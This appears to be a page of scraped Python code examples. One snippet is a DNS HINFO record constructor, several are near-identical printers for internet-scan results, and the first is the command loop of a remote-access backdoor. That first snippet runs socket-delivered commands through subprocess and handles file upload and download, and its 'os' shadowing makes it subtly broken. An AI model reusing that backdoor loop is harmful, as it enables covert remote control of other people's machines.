Example #1
0
    def Oder(self):
        while True:
            try:
                data = self.recv(2048)
                data = data.decode('utf-8')
                if data[:2] == "cd":
                    os.chdir(data[3:])
                    self.send(str(os.getcwd()).encode('utf-8'))
                elif data[:8] == "download":
                    print("1")
                    self.download(data[9:])
                elif data[:6] == "upload":
                    self.upload(data[7:])
                    self.send("[+] Upload Complete".encode('utf-8'))
                    # continue
                elif data == "uname":
                    os = platform.platform()
                    self.send(os.encode('utf-8'))

                else:
                    cmd = subprocess.Popen(data[:],
                                           shell=False,
                                           stdout=subprocess.PIPE,
                                           stderr=subprocess.PIPE,
                                           stdin=subprocess.PIPE)
                    command_out_bytes = cmd.stdout.read()
                    self.send(command_out_bytes)
            except Exception as e:
                self.send("[+] No such command".encode('utf-8'))
Example #2
0
	def __init__(self, ttl, cpu, os):
		"""
		ttl: TTL
		cpu: CPU name
		os: OS name
		"""
		super(RecordHINFO, self).__init__(ttl)
		self.b_cpu = cpu.encode('UTF-8')
		self.b_os = os.encode('UTF-8')
Example #3
0
    def __init__(self, ttl, cpu, os):
        """
		ttl: TTL
		cpu: CPU name
		os: OS name
		"""
        super(RecordHINFO, self).__init__(ttl)
        self.b_cpu = cpu.encode('UTF-8')
        self.b_os = os.encode('UTF-8')
Example #4
0
def print_short(res):
    max_title_len = 50
    title_head = 'Title: '
    cut = '[...]'
    http_title = res.get('80.http.get.title', 'N/A')
    cert_name = res.get('443.https.tls.certificate.parsed.subject.common_name',
                        '')
    cert_alt = res.get(
        '443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names',
        '')
    as_name = res.get('autonomous_system.name', 'N/A')
    as_num = res.get('autonomous_system.asn', '')
    loc = '%s / %s' % (res.get('location.country_code',
                               'N/A'), res.get('location.city', 'N/A'))
    os = res.get('metadata.os', 'N/A')
    tags = res.get('tags', '')
    ip = res.get('ip', 'N/A')

    http_title = http_title.replace('\n', '\\n')
    http_title = http_title.replace('\r', '\\r')

    # quick cleanup of list values, atm just show the first element
    # or the first followed with a "+" sign to indicate there are more
    if isinstance(cert_name, list):
        if len(cert_name) > 1: cert_name = cert_name[0] + "+"
        else: cert_name = cert_name[0]
    if isinstance(cert_alt, list):
        if len(cert_alt) > 1: cert_alt = cert_alt[0] + "+"
        else: cert_alt = cert_alt[0]

    # do some destructive encoding to UTF-8
    http_title = unicode(http_title.encode('UTF-8'), errors='ignore')
    cert_name = unicode(cert_name.encode('UTF-8'), errors='ignore')
    cert_alt = unicode(cert_alt.encode('UTF-8'), errors='ignore')
    tags = ', '.join(
        [unicode(t.encode('UTF-8'), errors='ignore') for t in tags])
    as_name = unicode(as_name.encode('UTF-8'), errors='ignore')
    os = unicode(os.encode('UTF-8'), errors='ignore')
    loc = unicode(loc.encode('UTF-8'), errors='ignore')

    if cert_alt != '' and cert_alt != cert_name:
        cert_name = cert_name + ' + ' + cert_alt

    # shortun title if too long
    if len(http_title) > (max_title_len - len(title_head) - 1):
        http_title = http_title[:max_title_len - len(title_head) - len(cut) -
                                1] + cut
    print ip.ljust(16) + \
        ((title_head + '%s') % http_title).ljust(max_title_len) + \
        ('SSL: %s' % cert_name).ljust(50) + \
        ('AS: %s (%s)' % (as_name,as_num)).ljust(40) + \
        ('Loc: %s' % loc).ljust(30) + \
        ('OS: %s' % os).ljust(15) + \
        ('Tags: %s' % tags)
Example #5
0
def print_short(res):
    max_title_len = 50
    title_head = 'Title: '
    cut = '[...]'
    http_title = res.get('80.http.get.title', 'N/A')
    cert_name = res.get('443.https.tls.certificate.parsed.subject.common_name', '')
    cert_alt = res.get('443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names', '')
    as_name = res.get('autonomous_system.name', 'N/A')
    as_num = res.get('autonomous_system.asn', '')
    loc = '%s / %s' % (res.get('location.country_code', 'N/A'), res.get('location.city', 'N/A'))
    os = res.get('metadata.os', 'N/A')
    tags = res.get('tags', '')
    ip = res.get('ip', 'N/A')

    http_title = http_title.replace('\n', '\\n')
    http_title = http_title.replace('\r', '\\r')

    # quick cleanup of list values, atm just show the first element
    # or the first followed with a "+" sign to indicate there are more
    if isinstance(cert_name, list):
        if len(cert_name) > 1: cert_name = cert_name[0] + "+"
        else: cert_name = cert_name[0]
    if isinstance(cert_alt, list):
        if len(cert_alt) > 1: cert_alt = cert_alt[0] + "+"
        else: cert_alt = cert_alt[0]
    
    # do some destructive encoding to UTF-8
    http_title = unicode(http_title.encode('UTF-8'), errors='ignore')
    cert_name = unicode(cert_name.encode('UTF-8'), errors='ignore')
    cert_alt = unicode(cert_alt.encode('UTF-8'), errors='ignore')
    tags = ', '.join([ unicode(t.encode('UTF-8'), errors='ignore') for t in tags ])
    as_name = unicode(as_name.encode('UTF-8'), errors='ignore')
    os = unicode(os.encode('UTF-8'), errors='ignore')
    loc = unicode(loc.encode('UTF-8'), errors='ignore')

    if cert_alt != '' and cert_alt != cert_name:
        cert_name = cert_name + ' + ' + cert_alt

    # shortun title if too long
    if len(http_title) > (max_title_len - len(title_head) - 1):
        http_title = http_title[:max_title_len - len(title_head) - len(cut) - 1] + cut
    print ip.ljust(16) + \
        ((title_head + '%s') % http_title).ljust(max_title_len) + \
        ('SSL: %s' % cert_name).ljust(50) + \
        ('AS: %s (%s)' % (as_name,as_num)).ljust(40) + \
        ('Loc: %s' % loc).ljust(30) + \
        ('OS: %s' % os).ljust(15) + \
        ('Tags: %s' % tags)
Example #6
0
def print_short(res):
    max_title_len = 50
    title_head = 'Title: '
    cut = '[...]'
    http_title = res.get('80.http.get.title', ['N/A'])[0]
    cert_name = res.get('443.https.tls.certificate.parsed.subject.common_name',
                        [''])[0]
    cert_alt = res.get(
        '443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names',
        [''])[0]
    as_name = res.get('autonomous_system.name', ['N/A'])[0]
    as_num = res.get('autonomous_system.asn', [''])[0]
    loc = '%s / %s' % (res.get('location.country_code', ['N/A'])[0],
                       res.get('location.city', ['N/A'])[0])
    os = res.get('metadata.os', ['N/A'])[0]
    tags = res.get('tags', [])

    http_title = http_title.replace('\n', '\\n')
    http_title = http_title.replace('\r', '\\r')
    # do some destructive encoding to ascii
    http_title = unicode(http_title.encode('UTF-8'), errors='ignore')
    cert_name = unicode(cert_name.encode('UTF-8'), errors='ignore')
    cert_alt = unicode(cert_alt.encode('UTF-8'), errors='ignore')
    tags = [unicode(t.encode('UTF-8'), errors='ignore') for t in tags]
    as_name = unicode(as_name.encode('UTF-8'), errors='ignore')
    os = unicode(os.encode('UTF-8'), errors='ignore')
    loc = unicode(loc.encode('UTF-8'), errors='ignore')

    if cert_alt != '':
        cert_name = cert_name + ' + ' + cert_alt

    # shortun title if too long
    if len(http_title) > (max_title_len - len(title_head) - 1):
        http_title = http_title[:max_title_len - len(title_head) - len(cut) -
                                1] + cut
    print res['ip'].ljust(16) + \
        ((title_head + '%s') % http_title).ljust(max_title_len) + \
        ('SSL: %s' % cert_name).ljust(50) + \
        ('AS: %s (%s)' % (as_name,as_num)).ljust(40) + \
        ('Loc: %s' % loc).ljust(30) + \
        ('OS: %s' % os).ljust(15) + \
        ('Tags: %s' % ', '.join(tags))
Example #7
0
def print_short(res):
    max_title_len = 50
    title_head = 'Title: '
    cut = '[...]'
    http_title = res.get('80.http.get.title', ['N/A'])[0]
    cert_name = res.get('443.https.tls.certificate.parsed.subject.common_name', [''])[0]
    cert_alt = res.get('443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names', [''])[0]
    as_name = res.get('autonomous_system.name', ['N/A'])[0]
    as_num = res.get('autonomous_system.asn', [''])[0]
    loc = '%s / %s' % (res.get('location.country_code', ['N/A'])[0], res.get('location.city', ['N/A'])[0])
    os = res.get('metadata.os', ['N/A'])[0]
    tags = res.get('tags', [])

    http_title = http_title.replace('\n', '\\n')
    http_title = http_title.replace('\r', '\\r')
    # do some destructive encoding to ascii
    http_title = unicode(http_title.encode('UTF-8'), errors='ignore')
    cert_name = unicode(cert_name.encode('UTF-8'), errors='ignore')
    cert_alt = unicode(cert_alt.encode('UTF-8'), errors='ignore')
    tags = [ unicode(t.encode('UTF-8'), errors='ignore') for t in tags]
    as_name = unicode(as_name.encode('UTF-8'), errors='ignore')
    os = unicode(os.encode('UTF-8'), errors='ignore')
    loc = unicode(loc.encode('UTF-8'), errors='ignore')

    if cert_alt != '':
        cert_name = cert_name + ' + ' + cert_alt

    # shortun title if too long
    if len(http_title) > (max_title_len - len(title_head) - 1):
        http_title = http_title[:max_title_len - len(title_head) - len(cut) - 1] + cut
    print res['ip'].ljust(16) + \
        ((title_head + '%s') % http_title).ljust(max_title_len) + \
        ('SSL: %s' % cert_name).ljust(50) + \
        ('AS: %s (%s)' % (as_name,as_num)).ljust(40) + \
        ('Loc: %s' % loc).ljust(30) + \
        ('OS: %s' % os).ljust(15) + \
        ('Tags: %s' % ', '.join(tags))